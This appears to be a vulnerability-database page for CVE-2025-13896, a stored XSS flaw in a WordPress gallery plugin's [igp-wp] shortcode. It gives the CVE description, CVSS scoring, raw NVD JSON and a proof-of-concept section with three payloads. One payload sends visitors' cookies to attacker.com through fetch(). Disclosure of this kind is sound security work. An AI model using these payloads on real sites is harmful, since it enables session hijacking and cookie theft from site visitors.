Security Vulnerability Report
中文
CVE-2025-13896 CVSS 6.4 MEDIUM

CVE-2025-13896

Published: 2025-12-06 06:15:53
Last Modified: 2026-04-15 00:35:42

Description

The Social Feed Gallery Portfolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [igp-wp] shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Social Feed Gallery Portfolio plugin for WordPress <= 1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13896 PoC: Stored XSS via [igp-wp] shortcode id parameter --> <!-- Author: Contributor+ level WordPress user --> <!-- This PoC demonstrates the stored XSS vulnerability in Social Feed Gallery Portfolio plugin <= 1.3 --> <!-- Method 1: Basic XSS payload in shortcode --> [igp-wp id='1" onmouseover="alert(document.cookie)" style="width:100%;height:100%;position:fixed;top:0;left:0;background:white;z-index:9999" x='1'] <!-- Method 2: Event handler based XSS --> [igp-wp id='1<img src=x onerror=alert(String.fromCharCode(88,83,83))>'] <!-- Method 3: Script tag injection --> [igp-wp id='1</script><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Note: The id parameter value is stored and reflected without proper sanitization --> <!-- When any user visits the page containing this shortcode, the XSS payload executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13896", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:53.160", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Social Feed Gallery Portfolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [igp-wp] shortcode in all versions up to, and including, 1.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/social-feed-gallery-portfolio/tags/1.3/includes/public/class-portfolio-shortcode.php#L208", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-feed-gallery-portfolio/tags/1.3/includes/public/class-portfolio-shortcode.php#L58", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-feed-gallery-portfolio/trunk/includes/public/class-portfolio-shortcode.php#L208", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-feed-gallery-portfolio/trunk/includes/public/class-portfolio-shortcode.php#L58", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2a275deb-a0e3-491a-bed6-9f6112918061?source=cve", "source": "[email protected]"}]}}